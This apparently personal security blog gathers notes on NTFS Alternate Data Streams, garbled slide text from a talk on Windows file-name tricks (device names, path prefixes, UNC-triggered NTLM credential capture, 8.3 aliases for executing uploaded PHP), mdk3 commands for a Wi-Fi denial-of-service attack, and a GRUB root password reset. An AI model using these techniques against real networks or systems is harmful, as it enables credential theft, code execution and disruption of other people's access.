    Ultimately only a third party file checksum application can effectively maintain the integrity of an NTFS partition against unauthorized Alternate Data Streams. Recently dubbed as host based “Intrusion Prevention Systems” or “Intrusion Detection Systems”, third party security applications like eTrust Access Control from Computer Associates have been used for years in high-end government networks to verify the integrity of files used in the most secure environments. In addition to a heightened level of auditing and access control, these applications typically create an MD5 hashed database of file checksums that are used to validate a file’s trustworthiness. File injection techniques like Alternate Data Streams trigger an action by which the file is deemed untrusted and therefore prevented from executing or better yet, prevented from being changed in the first place.

    In order to fully understand the implications of alternate data streams, the following walkthrough the creation and execution of an ADS using standard Windows 2000 programs on an NTFS 5.0 partition.

    Figure 1 shows the executable file for the standard windows program calculator, calc.exe, with the original size of 90KB and a date modified time stamp of 7/26/2000.









    We then append an alternate data stream to calc.exe with another standard windows program, notepad.exe as shown in









    Figure 3 shows that while notepad.exe is 50KB, the file size of calc.exe has not changed from the original 90KB. We do see however that the date modified time stamp has changed.









    we execute the new ADS notepad.exe using the standard command start.







    On our desktop, the program notepad is executed however, an examination of the Windows Task Manager shows the original file name calc.exe. (Figure 5).
















    Figure 5

    Summary

    Ultimately, the mere availability of Alternate Data Streams in NTFS is quite disconcerting and their usefulness suspect but in the end, the security features of NTFS far outweigh this potentially dangerous vulnerability. With knowledge and due diligence administrators can take actions to prevent and detect unauthorized use of ADS and in the end protect themselves adequately.

    Monday, 15 February 2010

    strange windows file stuff

    link to original document

    http://www.coresecurity.com/files/attachmentsWindows%20File%20Pseudonyms%20Dan%20Crowley%20Shmoocom%202010.pdf



    DOS special device files
    • Similar to device files on *nix nix
    • Allows file operations to be performed on
    devices
    • Examples include:
    – CON the console
    CON,
    – PRN, a parallel printer
    – COM1, the first serial port
    – NUL, a bit bucket (/dev/null equivalent)
    • Pretty well known already, BUT…
    When you speak to me ~ I redirect all of it ~ To slash-dev-slash-null.
    DOS special files quirk #1
    • They exist “everywhere”
    • Can be accessed from any path, even:
    – Directories which you are denied access to
    – With an existing file as a “directory” which “contains”
    directory contains
    the file
    • Examples of equivalent paths to CON:
    – CON
    – C:\CON
    – C:\..\..\..\..\..\CON
    C:\ \ \ \ \ \CON
    – C:\restricted_dir\CON
    – C:\existing_file.txt\CON
    Like apparitions ~ They exist in every place ~ And yet in no place
    DOS special files quirk #2
    • They can have any file extension it’s ignored
    extension, it s
    • The following examples are equivalent:
    – CON
    – CON.bat
    – CON.php
    – CON.conf
    – CON.thisisalongandarbitraryfileextension
    – CON.<1000x”A”>
    Mr. Shakespeare knows ~ A rose by another name ~ Still smells just as sweet
    Buffer overflow
    • A Windows app cat o ta es in a file name
    do s application takes e a e
    • The file is verified as existing
    • If it exists, the program does something with the
    file name
    – And might trust that it doesn’t exceed NTFS
    limitations
    • What if the file name is “CON.<‘A’x1000>”?
    – Technically, it exists…
    h ll
    – …but not in the filesystem, so it’s not bound to NTFS
    limitations
    Why one needs all this ~ DOS file extension stuff ~ Is just beyond me
    Controlling file handling
    • Don’t forget:
    Don t
    – You can use ANY extension!
    – Files are often handled based on extension
    • DOS special files, then, can often be handled
    as ANYTHING YOU CHOOSE!
    • http://www.example.com/com1.php
    – What if COM1 was attached to a serial modem?
    – …Or more likely, a Bluetooth dongle?
    A riddle for you… ~ When is a CON not a CON? ~ When it’s a dot-jar!
    What an awful mess!
    I can t write haiku about
    can’t
    Namespace prefixes...
    NAMESPACE PREFIXES
    Namespace prefixes
    • Used when files can’t be referred to with
    can t
    normal paths
    – Because they’re really devices
    they re
    – Because they don’t exist on the local filesystem
    – Because they have strange names
    A distant echo ~ Of a victim, falling dead ~ The hunter shouts “PWNED!”
    Minimal parsing prefix
    • An invalid name or path can sometimes be
    used anyway
    – MAX_PATH can be exceeded
    – Some restricted characters can be used
    – Reserved basenames can be used
    • Just precede it with \\?\
    – Must be an absolute path p
    • No current directory indicator ( ./ )
    • No parent directory indicator ( ../ )
    You don’t like the rules? ~ Double wack, question mark, wack. ~ You’re welcome, buddy.
    UNC (Short and Long)
    • Used to refer to files on SMB shares
    – Can be used to refer to files across the Internet
    • \\server name or ip\share\file
    \\server_name_or_ip\share\file
    – This is “Short UNC”
    – Nothing terribly special
    • \\?\UNC\server_name_or_ip\share\file
    – This is “Long UNC”
    Long UNC
    – Allows for the use of the \\?\ prefix with UNC
    paths
    What’s the best thing ~ About SMB traffic? ~ Credential replay!
    NT device namespace prefix
    • Used to refer to device namespace
    • These paths start with \\.\
    • Examples include:
    – \\ \airpcap00\
    \\.\airpcap00\
    • An AirPcap card
    – \\.\GLOBALROOT\Device\HarddiskVolume1\
    • The first hard disk volume on the machine
    • Might be equivalent to, for instance, C:\
    • Doesn’t need an assigned drive letter!
    – \\.\CdRom0\
    • The first disc drive on the computer
    • WinObj from Sysinternals will allow you to browse the NT
    device namespace
    The device namespace ~ Allows access to devices ~ Using file paths
    NTLM credential capture
    • When accessing SMB shares, authentication
    may be requested
    – If an attacker runs the SMB server, you can bet it ,y
    will
    • The SMB client machine will often send stored
    credentials automatically
    – And as you may know these credentials can be
    replayed or cracked
    l d k d
    – And we can trigger a machine to access an SMB
    share with a UNC path!
    A replay attack ~ With SMB credentials ~ Should not still succeed!
    Directory traversal
    • “C:\” doesn’t match:
    C:\ doesn t
    – \\?\C:\
    – \\127 0 0 1\C$\
    \\127.0.0.1\C$\
    – \\127.3.13.37\C$\
    – \\?\UNC\127 0 0 1\C$\
    \\?\UNC\127.0.0.1\C$\
    – \\.\GLOBALROOT\Device\HarddiskVolume1\
    • …but they’re all equivalent!
    b h ’ ll l
    It is hard to stop ~ Directory traversal ~ Now more than ever
    Buffer overflow
    • Minimal parsing prefix allows for the use of
    paths exceeding MAX_PATH
    – Some developers don t know you can exceed
    don’t
    MAX_PATH
    – …or assume that if the file exists that it can’t
    or can t
    exceed MAX_PATH
    NOP NOP NOP NOP NOP ~ NOP NOP NOP NOP NOP Shellcode ~ Pointer to NOP sled
    Making Windows rootkits deadlier
    • Imagine that you’re a Windows sysadmin
    ag e t at you e do s sysad
    • Someone creates a file named “CON” with the
    minimal parsing p
    p g prefix
    • You try “type CON” at the command line
    – Your command prompt “hangs”
    – None of your programs open it properly
    – Windows Explorer can’t delete it
    – You cry
    – You pretend it doesn’t exist
    • or convince yourself it really should be there
    My reaction to ~ “Undocumented feature” ~ Is unbridled rage.
    Now I understand,
    But I still don’t believe you.
    don t
    SHOW ME THE MONEY!
    DEMONSTRATION:
    NGINX AND PHP ON WINDOWS
    Thank you!
    There’s no dumb question…
    “Is the computer plugged in?”
    Is pretty bad, though
    bad though.
    Do I have the time
    To continue presenting?
    That sure would be nice…
    BONUS ROUND (DELETED SLIDES)
    So?
    • So “file phtml” is processed as PHP code
    file.phtml
    – A d “FILE~1.PHT” i served without processing
    And “FILE 1 PHT” is d ith t i
    • So “file.phPWNED” can be uploaded
    – And “FILE~1.PHP” can be executed
    Wait, what did you say? ~ Remote code execution? ~ NOW I’m listening!
    How are 8.3 aliases generated?
    • It’s somewhat complicated, but in short:
    – Remove incompatible characters
    – Convert spaces to underscores
    – Take the first six characters of the basename
    – Add “~
    • The digit is used to distinguish files with names starting with the
    same six characters
    • This convention isn’t used after the first 3 collisions
    – Truncate the file extension to three characters
    – Make all the characters uppercase
    • This is simplified due to time constraints, read my
    paper for more details!
    Your name is too long ~ And uses weird characters. ~ Here’s another one!
    Denial of Service
    Denial-of-Service
    • A theoretical application accepts file names and
    t eo et ca app cat o e a es a d
    reads the associated files
    • This application blocks any file named “CON”,
    pp y
    “AUX”, “PRN” etc. to prevent DoS
    – Applications will generally pause to read from a file
    until EOF
    til
    – EOF may never arrive from devices like AUX
    • It does NOT block files named for instance
    named, instance,
    “AUX.txt”
    – Which we know is equivalent to AUX
    …And while we’re at it, ~ Since we’re speaking of Shakespeare… ~ All’s well that ends well!

    Thursday, 4 February 2010

    mdk3 killer mode

    mdk3 eth0 d # deauthentication attack
    mdk3 eth0 a -a # authentication flood
    mdk3 eth0 b -n MyEssid -w -c 11 # beacon flood mode

    The combination is:
    - Running beacon flood mode to generate fake APs with the same name as your
    victim
    - Auth-DoS the original AP with intelligent mode
    - Use the amok mode to kick the clients
    And for the next version of mdk3
    - Use the upcoming WIDS confusion mode to cross-connect kicked clients to
    real and fake APs making all security systems go FUBAR.

    In this 802.11-hell, there should be nobody able to access the network.
    Because:
    -> They get kicked when they connect (Amok mode)
    -> They will see thousands of APs, unable to know which is the one to connect,
    thus they are just trying around blindly (beacon flood)
    -> The original AP may be too busy to handle the real clients because of the
    Auth-DoS

    lost root password change on linux

    let's say you've lost your root password, or simply cannot log in as root after a hard drive install, and have no privileged users on your system. I'm about to show you how to get back in the game as root with a quick and dirty password-change hack.

    For this tutorial, everything that is italicized is a user action. Anything in "angle brackets" is a keystroke. If it has a + beside it, it means press the keys at the same time.

    // Changing the root password:

    = - = - = - = - = - = - = - = - = - = - =

    Reboot your computer. Wait for the grub screen... Press "ESC" when you're prompted.

    Highlight the first option.

    Press "e".

    Highlight the kernel line.

    Press "e".

    Press "TAB". You'll get an error message.

    Press "ESC".

    Press "e" again.

    Using your arrow keys, scroll back and change ro to rw

    At the end of the line add: init=/bin/bash

    Press "Enter"

    Press "b"

    Type at the prompt: passwd root

    Enter the new password twice.

    Press "CTRL"+"d" to cause a nice Kernel Panic. This will cause your system to hang.

    Press and hold your power button till it shuts down. Power back up and let it boot into BackTrack normally.

    Log in as root with your new password.